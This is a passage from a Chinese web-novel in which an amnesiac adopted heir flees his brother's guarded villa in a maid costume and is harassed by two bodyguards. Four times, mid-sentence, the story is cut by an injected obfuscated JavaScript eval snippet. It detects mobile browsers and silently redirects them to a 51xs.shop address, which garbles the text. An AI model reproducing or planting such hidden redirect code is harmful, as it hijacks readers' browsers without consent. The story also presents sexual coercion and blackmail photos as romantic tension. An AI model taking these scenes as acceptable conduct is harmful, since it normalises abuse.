谢清说:“那可能是我吃坏肚子了,消化不良,你给我揉揉。” 谢呈冰叹了口气,终于还是把人放进来了。 隔着衣服替他揉了会儿肚子,谢清不知不觉就这么睡了过去。谢呈冰看着弟弟毫无防备的睡颜,放在肚皮上的手缓缓探进了衣服里面。 谢清在睡梦中被揉的满脸通红,发出几声呓语。 到了第二天,他还是一个人从床上醒来。 他哥直接搬了个房间,把自己卧室转送给他了。 谢清从衣柜里翻出他哥的一条旧领带扔在地上踩了几脚:“自己睡就自己睡,真以为我害怕呀?” 晚上谢清一个人抱着兔子钻进被窝,眼睛刚要合上,窗外就闪过一道黑影,他稀里糊涂爬起来过去查看,发现是自己忘记关窗了。 拉上窗,一转身,从窗帘后面窜出来个套着面罩的男人,一把捂住了他的嘴,把他往床上拖,谢清惊恐之下疯狂挥动着四肢,可男人的力气也太大了,绝对是练过的。 挣扎间,谢清一口咬住了男人的虎口,用力之狠,完全是抱着咬下来一块肉的决心,血从他的齿缝间流出,男人竟一声不吭。 谢清下颌被男人掐住,一用力,当场被卸了下巴,男人把手抽走,居然还不忘给他把骨头接回去。 “救命——唔!”谢清眼泪口水混着男人的血全沾在下巴上,他被按倒在了床上,男人用被子把他绕了一圈,包成个粽子,接着身上力道就松了。 谢清还在被子里面拼命呼救,好在谢呈冰就在卧室附近,闻声立刻夺门而入。 谢清刚好也从被子里脱身出来,双肩被谢呈冰紧紧握住:“你怎么样?!” 谢清也有点懵,左右看了一圈,只有大开的窗户和被风吹动的窗帘,夜袭者不知所踪。 谢呈冰颤抖着手摸了摸他的下巴,谢清胡乱擦了两下,低头一看:“没事哥,不是我的血。” 谢呈冰抚摸着弟弟的脸颊,眼中有一闪而过的狠厉:“是我疏忽了,忘记觊觎着你的人有多不要脸。” “谁?”谢清愣愣地问。 谢呈冰不说话,出去打了个电话。 不到一刻钟,宋家家主就把最精锐的保镖都派来了这栋别墅,二十四小时轮班把守巡逻。谢呈冰又挑了几个,安排住进一楼。 谢清原本还在害怕,这下又觉得太夸张了。 “说不定就是个不长眼的小贼?” 因为他记得对方没有伤害他的意思,没准是想抢点值钱的就跑,被他搏命狠咬了一口,才空手逃了的。 但谢呈冰打定主意要揪出这个贼,等谢清睡了个好觉,第二天一早就报了警。警察带谢清做笔录,让他回忆入室贼的特征。 “我没有看见他,只知道是个力气很大,大概这么高的男人。” 谢清也说不出个所以然,随手指着一个宋氏保镖:“差不多他那么高那么壮吧。” 那个保镖是宋岩最近提拔上来的新人,和宋岩一样不够严肃,对着他就是邪气一笑。 不过在谢呈冰回头看过来时,又马上收敛了。 谢清还在苦苦回忆:“我咬了他一口,这个位置,流血了。但是血已经被我洗掉了……” 谢呈冰说:“我取样了。”说着对刚才那个新人使了个眼色,保镖交上去一个小塑料薄膜密封的染血棉签。 所有流程走完,谢呈冰才在保镖的护送下准备去公司,他先是看着谢清上了回家的车,又点了那个新人:“严恺,你送谢清。” 谢清对这个邪里邪气的新人没有好感也不熟,立刻扒在车窗上反对:“我不要他,让宋岩送我。” 谢呈冰目光扫向宋岩,不知为何有些冰冷,宋岩老老实实负手待命,目不斜视,心中仿佛没有任何波澜。 “那宋岩,你送他吧。”谢呈冰说。 宋岩低头摸了下无名指上的戒指:“可是大少,我……” 他看起来挺挣扎的,但很快又说:“是。” 谢呈冰神态倒是缓和了不少。 不料严恺站出来请命:“大少,我和岩哥一起吧。” 谢呈冰摆摆手:“去吧。” 谢清早知道自己在谢家没话语权,努着嘴一脸不高兴。 直到进了家门,宋岩突然把他堵在玄关问:“怎么了,是我,这么不情愿?” “不情愿的是你才对吧?” “我那么做还不是为了蒙蔽大少,好多留在你身边。” 谢清没好气地推开他:“没看出来你还有影帝天赋。闪开,我要回去睡觉。” 自从得知宋岩已经结婚了,他对他为数不多的好感印象也扭转为负。 他才不想卷入婚外情呢。 可宋岩不依不饶挡住他,宋岩身材高大,站在狭窄的入户通道堵人,有种居高临下的压迫感。 “你为什么睡大少的房间,还不止一夜,你们……” 谢清不可思议地瞪着他:“你在想什么?!龌龊!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173515|150533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “真的什么也没有?” “滚滚滚。” 宋岩拉住他,在谢清彻底发火前,低声下气地说:“好了,我不问了。现在都上午了,别睡了,去吃点东西,你早上起来就没吃东西。” 谢清其实是饿的,但因为肚子里有个不应该存在的东西,想到就食不下咽。 早上他避开谢呈冰偷偷把饭倒了,没想到被宋岩发现了。 宋岩说:“乖,去吃点吧,我过去给你热一下。” “不用,我自己来。”谢清向厨房走去,回头警告,“别跟着我,巡你的逻去。” 进到厨房里面,有人就靠在里侧的门轻轻一笑。 谢清吓了一跳,转头发现是那个叫严恺的新人,神不知鬼不觉的,简直和昨晚的贼有的一拼。 “你在这干嘛,这有偷吃贼啊?” “帮小少爷热饭啊。”严恺嬉皮笑脸地说。 谢清莫名其妙上下扫了他一遍:“讨好我可没法升职加薪。” “是吗?不试试怎么知道呢?”严恺来到谢清身后,两只手臂撑在了厨台,极其冒犯的缩短了两人的距离,“看来我方法不对,是不是得上你的床才行?” 谢清反手给了他一耳光:“给你三秒钟消失,或者我给我哥打电话叫他开了你。” “是啊,除了大少爷的宠爱,你还有什么可仰仗的呢?”严恺笑容里满是恶意,“一个陪读,真把自己当少爷了?” 谢清摔下手里的碗筷。 “严恺!”宋岩冲了进来,往严恺后脑勺来了一下,“叫你安分点,刚来就惹事是吧?” 宋岩并未听清刚才厨房里的对话,只看出谢清现在很不高兴,他勒令严恺道歉。 严恺轻浮随意地说了声“对不起,小少爷——” “小少爷”三个字刻意拉地很长。 谢清知道他说得不错,自己不是什么出身高贵的少爷,是十岁那年被谢怀章从福利院捡出来的。 谢家独子个性沉闷,谢老爷就想给儿子找个同龄孩子当陪读,他偷听到父子俩的对话,故意在富家老爷面前表现的活泼天真,果然就选中了他。 他的待遇和真正的天之骄子谢呈冰自然也有着天壤之别,只不过谢呈冰在主动遮掩这些差距。 谢清冷冷看了两个保镖一眼,拨开他们离开了厨房。 宋岩在身后低声骂严恺:“你要再这样,就滚回前线吃枪子儿去。” 严恺漫不经心:“不就逗一下你的小野猫,这就舍不得了?” “闭嘴,记住他是谢家二少爷。” “岩哥,你老实告诉兄弟,你和他有没有……” 谢清足尖一顿,踮着脚悄悄退回到门口,贴着耳朵想听得更清楚些。 可里面半天了都没有一点动静传出来。 突然门被拉开,谢清一个踉跄摔进了开门人的怀里。 他下意识扶了一下,仓促间摸到了对方的手,皮肤上好像有凹凸不平的伤口,集中在一小块。 来不及反应,谢清发现这人是严恺以后,立刻膈应地后退一大步,也不觉得自己偷听被发现有什么尴尬,剜了严恺一眼,扭头走掉了。 6. 第 6 章 谢清回屋补了一觉,很快就把肚子里的烦恼忘掉了。 一拉开卧室的门,门口用小推车摆放着保温的食物和汤盅。 他姑且端去餐厅享用了,家里安安静静的,保镖们自觉待到他看不到的地方去了。 谢清打算出门的时候,宋岩不知道从哪里冒出来,高大的身躯把门挡的死死的:“大少爷吩咐了,要你按照医嘱好好在家休息,别出去乱跑。” “我不跑,我用走的。”谢清说了个自认为好笑的冷笑话。 宋岩摆出一张不近人情的脸,一步也不退让:“大少爷吩咐了,你想散步去院子里走走也是一样。” 谢清不可思议:“什么意思,你现在是要限制我的人身自由?” “不敢,大少爷吩咐了,医嘱一定要听的,都是为你好,也不久,一个月就好了。” 一个月?让他一个月待在家里他都要结蜘蛛网了! 谢清直接越过宋岩强硬突破,但他哪有专业保镖的身手,没两下就被宋岩反剪了双手。 谢清破口大骂,宋岩不为所动。 “我才不信这是哥哥原本的意思,一定是你添油加醋故意为难我,你以前就看我不顺眼了吧!” 宋岩摸了摸他的脸:“宝宝,我看你不顺眼,还会为你离婚吗?需不需要我证明给你看。” 他把谢清扛起来上了楼。 谢清慌了:“你想干嘛?!这是谢家!谁让你踏足主人卧室的,滚,放我下来!” 宋岩把他扔在床上,抬手松了下衬衫扣子,谢清一脚踹过去:“滚!不管我们什么关系,我不记得了就等于没有关系,你自觉一点!” 明明昨天还说喜欢他,真是多变。 宋岩牢牢抓住了谢清乱踹的小腿,居高临下看着他。他们俩之间力量太悬殊,谢清感觉自己像个任人摆布的玩偶,越是用力,越好像把自己往对方身上送。 “冷静了?” 见谢清不挣扎了,宋岩才卸了手劲,手托着他的小腿肚下移,刚才抓过的地方留下明显的一道红圈。 “娇气。”宋岩低低地说,帮他把滑到脚踝的袜子提回去。 谢清的头发都在床上蹭乱了,红着眼睛瞪着他,反观宋岩,除了自己解开的第一颗扣子,连一滴汗都没出。 他俯下身,谢清不由屏气。 粗糙的手掌撩过谢清的额头,帮他把头发拨开。 “小少爷好好休息吧。”宋岩说完欠身离开了卧室。 谢清也不知道自己刚才在紧张什么,心烦意乱地坐起来,把枕头当成宋石头锤了好几下,最后看向了床边的手机。 给哥哥打电话? 万一真是谢呈冰的意思呢…… 哥哥就是太死脑筋了,医生说的静养,也没必要这样养。 - 一个小时后,一群打扮成女仆的年轻女人们站在别墅外的可视屏前热情打招呼。 看门的保镖皱眉驱赶:“要拍照去一边去,别在这里吵闹。” 女仆出示名片和电话记录:“女仆屋家政公司,谢先生不在这里吗?尾号2290,16点37分叫的深度清洁服务。” 宋岩听到动静过来询问,女仆又把话重复了一遍。保镖头子听完眉头紧锁,手下人问:“岩哥,我去和小少爷确认一下?” 宋岩叹了口气:“不用了,让她们进来吧。” 人确实是谢清叫来的,不过他没想到这家公司居然真让员工穿女仆装上门,他只是随便搜了一个评分最高的家政公司。 谢清趁没人注意,迅速拉着一个金发碧眼的女仆进了卧室。 “先生,是想先打扫卧室吗?门不用关。”女人有些惊疑不定,直到被谢清塞了一把钞票:“备注让你们带的东西带了吗?快给我!” “啊?”女人傻眼了。 谢清以为她听不懂,又用英语说了一遍。 “噢,是你啊?”女人笑着摘下自己的背包,从里面取出一件大码的女仆装和黑长直假发来,“又是你下订单时要求上门的人额外带一件工作制服和假发?” “又?” 女人一撩头发:“她们都说再也别管这种奇怪备注,不过你看,我还是带来了,感谢我吧亲爱的。” “卖给我谢谢,不准告诉其他人。”谢清摊开手。 女仆屋也不是第一次听到客人提另类的要求,金发女人点了下钞票,笑容满面地把衣服和假发交出去:“Deal.” 谢清让女人去门口帮他掩护,自己快速换上了衣服,有点紧,而且很羞耻。 但比起这个,自由的芳香更吸引人。 戴假发时遇到了一点问题,谢清红着脸把女人又喊了进来。 “哇哦,你看起来……” 谢清:“你最好什么也别说。” 女人把原本的话憋了回去, 她帮谢清戴好假发,顺便调整了一下围裙,勾起他领口的黑丝带系了个蝴蝶结。 做完这一切,她问谢清能不能允许她拍张照片。 谢清的脸青了又红:“不行。” 女人十分遗憾。 谢清把她请出去,自己拉开窗,提起裙子就往外翻。 二楼还是有些高度的,他抻着脖子定位了一下,有些胆怯。 眼神丈量了好半天,还是翻了回来,从衣柜里拿出谢呈冰的所有领带开始自制绳子。 “应该叫她们给我带条绳子的。”谢清小声嘟囔。 好在领带也够用,谢清把一端绑在床脚,自己抓着另一端往下爬。 穿着大裙子看不清脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173516|150533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,他只能凭借感觉,来到一楼客厅窗户上方时,他心里默数了三个数,一咬牙跳了下去。 预想中落地的触感并没有到来,他反而跌进了一个人蓄谋的怀抱。 谢清一瞬间张大了眼睛,而这个抱着他的男人发出愉悦地笑声:“小野猫第二次投怀送抱了?” 是严恺那个该死的家伙。 谢清从他身上跳下来,恶狠狠瞪他,忽然想起了自己的打扮,又仓促低下头挡脸。 “别挡了,你以为变装就是换个衣服戴个假发这么简单?” 谢清刚要骂“关你屁事”,忽然注意到不远处有个保镖往这边过来了,他立刻转身就跑,被严恺一把拽住:“喂——那边的,过来,小少爷想逃——” 谢清一把捂住他的嘴:“闭嘴!!我给你钱,你睁一只眼闭一只眼!” “你给的能有大少给的多?”严恺似笑非笑,“再说了,看你出丑是我的乐趣所在。” “你……!” 远处那个保镖已经迅速跑过来了。 谢清垂死挣扎地把头埋在严恺肩上不肯回身。 严恺身体一僵。 “严恺?你刚说小少爷怎么了?” 严恺被叫了好几声才回神,抬手抓住了谢清揪着他外套不放的手,往外扯了一下,没扯开,换来谢清小幅度的捶打。 说是警告,更像撒娇。 对面的保镖表情变得有些暧昧:“你这是?” “咳……我刚是说,小少爷问起我,帮我找借口糊弄一下,我离开一阵。” 保镖了然于胸,指了他好几下:“你小子,收敛一点啊。” 保镖一走,谢清立马推开严恺,却被严恺一把拉回来锁着腰,被裙子勾勒出的腰身紧致,他颇有些爱不释手:“怎么,小少爷更喜欢在有观众的时候□□吗?” 谢清抬手赏了他一巴掌。 严恺狠狠把他怼在墙角:“你知不知道你现在是有求于我?” “所以呢?你要多少钱。” “我不要钱,我有两个方案供你选择。” 谢清冷冷盯着他,等他开口。 严恺俯身过来,热气喷洒在他耳边:“选项一,你在床上伺候我一次。” 谢清用力扬起巴掌,这次被严恺一把抓住手腕,动弹不得。 “你真以为我不会还手是吧?” 谢清双眸冰冷,这副样子还真和谢呈冰有点像亲兄弟了。严恺打量了他一会儿,哼笑一声:“选项二嘛,你跟我去见一个人。” 谢清怀疑地看向他:“见人?只是这样?” 所以选项一是故意在寻他开心?想看他出丑?想到这里谢清火气又窜上来了。 “你就说敢不敢去吧。” 谢清推开他:“带路。” 7. 第 7 章 严恺再怎么说也是宋岩提拔的人,谢清不觉得他会害自己。但也不清楚他对自己的恶意是哪里来的。 他跟着严恺进了一间咖啡馆,接着严恺让他等,把他一个人留在了这里。 谢清还穿着女仆装来不及换掉,即使坐在窗边不起眼的位置,还是频频有客人转头看他,甚至玻璃外面的路人也投来目光。 他拨弄了一下假发刘海,拿出手机想催促,发现自己连严恺的联系方式都没加。 通讯录空空如也,除了谢呈冰的手机号他倒背如流,其他人的一概不知,说话都不知道要找谁。 他百无聊赖地打游戏消磨了半个小时,严恺还没回来。 咖啡店店员都开始若无其事反复路过他身边了。 谢清怀疑严恺是故意耍他,让他在这里当猴。 又等了十分钟,谢清哗啦一下从座位上站起来,他不打算再等了。 他板着脸往外走,迎面撞见手里拿着账单的店员,他以为店员是来赶人的,本来心情就差,于是更凶地瞪着对方,打算对方一开口就把对方噎回去。 店员把账单随手掖进围裙里,笑着端出来一盘翻糖草莓蛋糕:“小姐姐,看你等的无聊,送你一块小蛋糕。” “……”谢清像只泄了气的皮球,尴尬地坐回去,双手无处安放:“谢、谢谢……” 他拿起小叉子吃了顶上的一颗草莓,店门口“叮咚”一声,招财猫发出“欢迎光临”的电子音。 新来的客人直奔谢清,拉开椅子坐在了他对面。 谢清咀嚼着甜草莓掀起眼皮,见是一个棕色大波浪卷的高挑女人,脸上画着浓妆,正似笑非笑看着他。 “咳……”谢清呛了一下,抽出纸巾抹了下嘴。 “你是?” 女人亮出左手,张开五指,无名指上的素银戒折射出一缕光。 谢清停止了咀嚼,缓缓放下蛋糕叉,面无表情看着对方。 “你好,我叫严莉。” 很好。谢清终于知道严恺为什么处处和他作对了:“你找我有什么事吗?” “你说呢?当小三这么理直气壮吗?”她音量不低,或者是故意那么大声,招致咖啡馆里的人集体注目。 “我不知道他结婚了。”谢清说,虽然他没有往前一年的记忆,但他不觉得自己会完全变成另外一个人,会和有妇之夫搞婚外情。 他一定不知道。 “而且我现在和他没关系了。” 严莉却不打算这样放过他:“我给你两个选项。” 语气和严恺简直如出一辙,她说:“选项一,我把这杯咖啡倒在你头上。选项二,你跪下来给我道歉。” 谢清:“我觉得这两个方案你都可以提供给宋岩,毕竟不管我知不知道,他一定是知道的。” 严莉顿了一下,冷笑:“真是伶牙俐齿,死到临头还这么嘴硬。你说说看,岩哥喜欢你哪里?” “我不知道。”谢清说,“但你这样挺不讨人喜欢的。” 严莉“啪”地拍案而起,俯身怒视谢清,肌肉将她胸前的扣子崩掉了一颗,谢清眨了眨眼睛,有些怀疑地看向她的胸口。 不过很快意识到这不礼貌,赶紧移开了视线。 “我再问一次,岩哥喜欢你哪儿?” “我说了,我不知道。”谢清皱眉,“你为什么不去问他?问我一个失忆的人,我也想知道啊。” 严莉愣住了:“失、忆?” 谢清突然又注意到她撑在桌子上的右手,虎口处交叉贴了两张肉色创可贴,创可贴边缘应该是用遮瑕掩盖过了,如果不是离得这么近,她的手背又刚好弯曲着,肉眼还真难以辨识。 谢清看她的眼神愈发狐疑:“你……” 严莉突然神情一变,冲上来按住他的头,把他整个人按到了桌子底下,谢清没想到她的力气也堪比专业保镖,根本挣扎不过,正要破口大骂。 “嘘,躲好。” 谢清愣了一下,但很快他透过桌布的缝隙看到一批人朝这个方向走过来,为首的人步伐沉稳,还有股莫名的肃杀之气。 一开口,居然是谢呈冰! 谢清顿时捂住嘴巴,连呼吸都憋住了。 “严小姐,你有没有看见我弟弟。他打扮成女仆的样子,有人看到他进过这间咖啡馆。” 谢清皱眉,他哥怎么这么快知道他跑出来了?肯定是宋岩那家伙发现以后通风报信! “谢总?真巧啊,我没看见啊,我也才刚进来坐下,你瞧,桌子上上一个客人的东西都还没收走呢。” 严莉一开口,谢清差点破功,他不知道这个女人干嘛突然用这么矫揉造作的声音讲话,夹的特别明显。 “是么?” “谢总,你弟弟那么大个人了又不会丢,干嘛这副阵仗,不知道的以为你在追捕逃犯。” 谢呈冰笑了一下,眼睛里没有任何温度:“外面盯着他的人太多了,我只有看紧一点。既然严小姐没看到,那打扰了,告辞。” 谢清躲在桌子底下,腿有点麻,注意力也从桌子外回到了桌子底下,他突然发现严莉穿着一双男士皮鞋。 之所以肯定是男士,是因为鞋子的做工,针法和用料特别明显,那是谢家找一位手工大师专为宋氏保镖们量身定制的,方便他们行动。每个人的鞋底还都绣了宋氏家徽和名字首字母缩写,难道严莉穿的是宋岩或者严恺的鞋? 大红裙子搭配男士皮鞋,也太古怪了吧。当然,谢清没资格说人家,他自己也是女仆裙配运动跑鞋,那是因为临时变装,不那么讲究,再说当时还要翻窗跳楼。 可谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173517|150533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清还是升起强烈的疑心,他把头下去,试图看清鞋底绣着什么。 他想让严莉把脚抬一抬,就伸手抓住了对方脚踝,指尖刚碰到一点点,就被对方一个十字锁夹住了手,这简直是一种下意识的应对,对方的身手和反应力不输宋岩。 头顶的声音甚至毫无变化:“那谢总慢走。” 等谢呈冰带着人走掉,谢清才从桌子底下钻出来,胡乱整理着散乱的头发,不敢看其他客人的反应。 严莉攥着他胳膊把他带到身前:“你真的失忆了?什么都不记得了?” 谢清整理的动作渐渐慢下来,仔细看向严莉。 严莉皱眉:“看什么看?” 谢清笑了一下:“没什么,没想到严小姐会帮我,刚才谢谢你了。” “哼。”严莉翘起二郎腿,“知道就好,你想怎么谢我?” 谢清走到她背后:“我帮你捶捶肩?”一边说一边把手放在她肩上捏了两下,眼睛一直盯着她头顶上的发旋,还伸手摸了一下她的头发。 严莉好像没感觉到,扭了扭脖子,欣然接受了谢清献上的殷勤,悠哉端起咖啡:“力道大一点,没吃饭吗?” 谢清说:“其实关于我失忆的事,一直找不到人商量……严小姐,我能和你商量一下么?你是女生,有件事一定比我有见识。” “什么事?” “是这样的,我怀孕了。” “噗——” 严莉把咖啡喷了出去。 这相似的反应居然叫谢清颇为欣慰。 严莉猛地转过来,表情十分精彩,先是摸了下他的额头:“你病了?还是疯了?” “是真的,医生说的。” 严莉憋了半天憋出一句:“我不信,给我看看。” 谢清:“那我们去洗手间。” 严莉拽起谢清的胳膊就进了男洗手间,里面刚好有一个客人提着裤子出来,撞见两个“女人”,顿时失了色:“对对对不起我走错了……” 他面如土色的跑出去,回头一看门口标识,张大了嘴巴。 他连忙折返:“两位小姐,这里是男……” “哐——!” 严莉找了个隔间把谢清往里一推,自己也跟了进去,重重摔上了门。 门外的男人尴尬地站了一会儿,决定还是当什么都没看见,低着头跑了。 严莉靠在门上抱着胳膊,冷冷看着谢清:“等什么,脱啊。” 谢清慢慢揪着两边裙角,把裙子掀了起来,露出穿着白色长筒袜的笔直的双腿。 严莉眼睛都看直了,喉咙滚动了一下:“再往上一点。” 谢清又往上提了下,终于把肚子露出来。严莉伸手摸了摸,呼吸变重了一些。 谢清歪着头:“看够了吗,死变态。” 8. 第 8 章 严莉的手顿在谢清身上,缓缓抬起眼睛,半晌笑了出来。 声音完全变了,变回他原本的音色。 “严恺。”谢清面无表情地看着他,“看来变装的确不止是换个衣服戴个假发这么简单,你说的真对。” 严恺一点没有被发现的惊慌,手还在谢清腰上不停来回:“嗯,经验之谈。” “你还有这种经验?” “任务需要嘛。潜伏,窃听,暗杀,宋家业务很广的。” 谢清一巴掌拍开他的手,低头整理裙面:“连我哥哥都被骗过去了,叫你严小姐,呵,这是你和宋岩之间的情趣?” “你真知道说什么来恶心我。”严恺眼神凶狠起来,“你以为这都是因为谁,我的小少爷?” 谢清微微一滞。 “要不是你看上不该看上的人,这个人为了不丢工作又不得罪你,怎么会找我帮他假结婚。” 严恺语气讥讽:“结果啊,这个人都摆明自己是直男,而且结婚了,你还要勾引人家,你说,我该不该替岩哥揍你一顿?” 谢清表情很难看:“我怎么知道你说的是真是假。” 他转身就要出去,却被严恺扯住假发,按在了马桶上,整个人极具压迫感地将他困在方寸之间。 谢清拳打脚踢:“滚!脏死了,给我闪开!” “脏?”严恺勾住他颈前的黑色蝴蝶结,“你再多说一个字,信不信我把更脏的塞你嘴里?” 谢清不可置信地瞪住他,嘴唇轻轻一颤。 洗手间外面传来踏踏的皮鞋声,进来了一个人,谢清马上闭紧了嘴。 那个人解了手居然还不走,点了根烟,靠在窗边抽了起来。 烟味儿没一会儿就飘进了隔间,谢清皱着眉头挥了挥手。 严恺嗤笑:“矫情兮兮的。” “你爱吸二手烟你吸,让开,我要出去。” “放你走可以,你承诺以后不再勾引岩哥,还有我。” “谁勾引你了?!”谢清这句声音有点大,外面的男人“咦”了一声:“有人?” 严恺单手捏住他的脸:“我说什么来着,一有人你就开始□□。” 谢清在心里狠狠发誓,等今天一回到家第一件事就是让哥哥开除严恺! 他一忍再忍,斜睨着男人:“我说了我失忆了,本来也不打算和他纠缠。他要是有意见为什么自己不来和我说,皇帝不急……” 谢清在严恺的逼视下话锋一转:“喂,你该不会是暗恋宋岩吧?” “你可真是个大聪明。”严恺冷冰冰地说,“岩哥,我当他是亲哥,可不像你们谢家塑料弟兄情。” “你才塑料,你全家都塑料!” 严恺忽然动手开始扒谢清衣服,稍一勾,黑色丝带就散开了,再一用力,围裙的肩带就脱落下去。 谢清疯狂挣扎大喊起来:“严恺你他妈想不想在谢家混了!” 外面那男人烟都吓掉了:“卧槽,这是在干嘛?” 他走到隔间跟前敲了敲:“兄弟,没事吧?” 严恺恶声:“滚!” 谢清:“要滚的是你!!” “哧啦”一声,好好的面料竟然就被严恺撕开个大口子,谢清胸口裸露出来,眼眶恨意凝聚,张口就要咬他胳膊。 “又他妈咬人,你是属狗的吗?”严恺单手捏住了谢清的下颌骨。 一刹那,谢清愣了一下。 严恺把他的衣服弄得乱七八糟,瞧见他通红的眼眶微微一怔,很快举起手机找角度咔嚓咔嚓照了几张,这才放开了手。 “记住我的话,你要敢再去祸害人,我就把这些发到网上,印出来撒到大街上,让所有都看看你的骚样!” 谢清撞开他冲出了隔间,回头咬牙切齿道:“你会为今天的事付出代价。” 那个抽烟的男人居然还没走,站在过道发愣地目睹谢清跑了出去。 严恺缓缓走出来,男人吓得后退两步,不过严恺压根没理会他,一直低头看着手机里刚刚拍摄的照片。 翻了几下,眼神逐渐起了变化,低声骂了句:“真骚。” - 谢清跑回家,一进门就撞上宋岩。 宋岩见他衣服都破了,神情大变:“发生什么事?谁把你弄成这样?” 他恶狠狠瞪了宋岩好几眼:“少猫哭耗子,我才出去多久,你就给我哥通风报信?” 宋岩无奈:“你以为是谁睁一只眼闭一只眼放你走了,大少爷突然回来,我也措手不及。” 谢清气鼓鼓上楼梯,宋岩跟在他身后:“到底谁欺负你了?我去找他算账!” “你猜不到吗?” 谢清冲进浴室,宋岩被他关在门外,呆呆站了一会儿,门被拉来,衣袜和假发被团成团丢出来。 “给我扔掉。” 宋岩张开衣服检查了一下,胸前和肩膀都有破损,看开线的轨迹,明显是徒手暴力撕坏的。 假发上还残余着香味,可能是假发护理液。 宋岩把衣物丢进垃圾桶,短暂犹豫了一下,往口袋里塞起了其中一只白色棉袜。 他给谢呈冰打电话汇报谢清回来的事。 半个小时后谢呈冰赶回家,谢清正好冲完澡出来,裹着浴袍,头发湿漉漉的就往谢呈冰怀里冲。 “哥!我有事要告诉你!” 谢呈冰脸色并不好看,抱起弟弟,把人转移到沙发上,吩咐宋岩取毛巾来。 宋岩连同吹风机一起拿来。 谢呈冰一边替弟弟擦头发,一边问:“今天去哪儿了?我有没有说过,叫你听医生的话。” 谢清马上怂了,摸着肚子小声说:“医生太夸张了,我觉得也没什么事。” “你要是觉得家里闷,就来公司陪我。”谢呈冰语气不疾不徐,但充满威严,“下不为例。” 谢清撇撇嘴,随即揽住哥哥脖子:“哥!我和你说,我找到那个入室贼了!” 谢呈冰闻言也严肃起来:“是谁?在哪找到了?警方的调查还没出结果,是他又主动接近你了?我就说不能出门,看来明天我得……” “哥!”谢清打断他,刚要说出那个人的名字,宋岩蓦然在一旁开口:“小少爷,这事还是等警方的结果吧,别开玩笑了。” 谢清目光如炬,睨向宋岩。 谢呈冰在两人之间来回看了看,皱眉:“是谁?” 宋岩抢先道:“大少爷,其实是刚才我小舅子讲话没分寸,得罪了小少爷,小少爷开玩笑说要让他蹲拘留所。” 他抬起头,带了些恳求的看向谢清。 谢呈冰也看着弟弟:“是这样吗?” 谢清欣赏了一会儿宋岩的示弱姿态,哼道:“反正我讨厌他,哥,你开了他吧。” 宋岩:“我代严恺道歉,我会把他调离谢宅的,保证不让他再在小少爷眼前出现。” 谢呈冰不置可否,只是先摸摸谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173518|150533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清的头:“不生气了,嗯?” “随便吧,给我我自己来。”谢清从哥哥腿上跳下来,抓起吹风机,临走前背对着谢呈冰给了宋岩一个眼神。 宋岩把头垂得更低了些,藏起视线。 谢清上楼后,谢呈冰才慢条斯理的说:“你是严莉的丈夫,严恺以前对谢家有不满也情有可原,不过从今往后,你要注意和谢清保持距离。” 宋岩:“是。” - 到了晚上,宋岩在楼外面瞧着谢呈冰关了灯,这才偷偷摸进谢清的卧室。 谢清换了一套棉睡衣,光着脚站在窗边。 宋岩从背后把人抱住:“黑灯瞎火的在看什么?” 谢清捣了他一下:“注意你的身份。” “门难道不是给我留的?”宋岩太久没有这么亲密地抱着谢清,像瘾君子一样大口呼吸了一口他发间清香,“上午用那种眼神暗示我,知不知道很危险。” 谢清的发丝细软,和睡衣的质地一样绵绵的,整个人抱在怀里好像一团棉花糖。 只不过是带刺的棉花糖。 谢清掏出防身的匕首逼退宋岩,上回比力气没有打过,这回显然是学聪明了。但也没太聪明,宋岩体型高大,身手也不失灵活,谢清这两下子唬人的招数根本不够看的。 他右臂如同穿花蝴蝶灵巧躲过刀锋,一推一扣,就卸了谢清的力道,匕首掉落进他的掌心。 宋岩随手把刀子扔开:“这么危险的东西少拿,划伤自己怎么办?” 谢清看都没有看清就丢了武器,又气又恼,推了他一把,翘着腿坐回床边:“都说了我们现在没关系了,有妇之夫给我注意点。” “你已经知道我结婚是怎么回事了吧。” 谢清不语,许久后说:“我才不信,我是那种强取豪夺的人?我看上的要是没看上我,我第二天就能把他忘了。” 